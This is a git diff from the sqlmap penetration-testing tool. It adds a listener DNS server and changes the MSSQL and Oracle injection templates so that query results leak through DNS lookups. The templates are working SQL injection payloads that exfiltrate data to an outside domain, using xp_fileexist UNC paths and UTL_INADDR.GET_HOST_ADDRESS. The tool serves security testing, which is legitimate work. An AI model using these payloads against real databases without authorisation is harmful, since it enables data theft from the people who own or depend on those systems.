diff --git a/lib/request/dnsquery.py b/lib/request/dns.py similarity index 72% rename from lib/request/dnsquery.py rename to lib/request/dns.py index abf7cb498..c5031a9e7 100644 --- a/lib/request/dnsquery.py +++ b/lib/request/dns.py @@ -7,6 +7,9 @@ Copyright (c) 2006-2012 sqlmap developers (http://www.sqlmap.org/) See the file 'doc/COPYING' for copying permission """ +import socket +import threading + class DNSQuery: """ Used for making fake DNS resolution responses based on received @@ -42,3 +45,24 @@ class DNSQuery: retval += "".join(chr(int(_)) for _ in resolution.split('.')) # 4 bytes of IP return retval + +class DNSServer: + def __init__(self): + self._requests = [] + + def run(self): + def _(): + s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) + s.bind(("", 53)) + + try: + while True: + data, addr = s.recvfrom(1024) + _ = DNSQuery(data) + s.sendto(_.response("127.0.0.1"), addr) + self._requests.append(_._query) + finally: + s.close() + + thread = threading.Thread(target=_) + thread.start() diff --git a/procs/mssqlserver/dns_request.txt b/procs/mssqlserver/dns_request.txt index eba4243af..7b450e064 100644 --- a/procs/mssqlserver/dns_request.txt +++ b/procs/mssqlserver/dns_request.txt @@ -1,3 +1,3 @@ DECLARE @host varchar(1024); -SELECT @host = (%QUERY%) + '.%DOMAIN%'; +SELECT @host = '%PREFIX%' + (%QUERY%) + '%SUFFIX%' + '.%DOMAIN%'; EXEC('xp_fileexist "\' + @host + 'c$boot.ini"'); diff --git a/procs/oracle/dns_request.txt b/procs/oracle/dns_request.txt index 073e8fc11..93d90ff36 100644 --- a/procs/oracle/dns_request.txt +++ b/procs/oracle/dns_request.txt @@ -1 +1 @@ -SELECT UTL_INADDR.GET_HOST_ADDRESS((%QUERY%)||%DOMAIN%) FROM DUAL +SELECT UTL_INADDR.GET_HOST_ADDRESS('%PREFIX%'||(%QUERY%)||'%SUFFIX%'||'.%DOMAIN%') FROM DUAL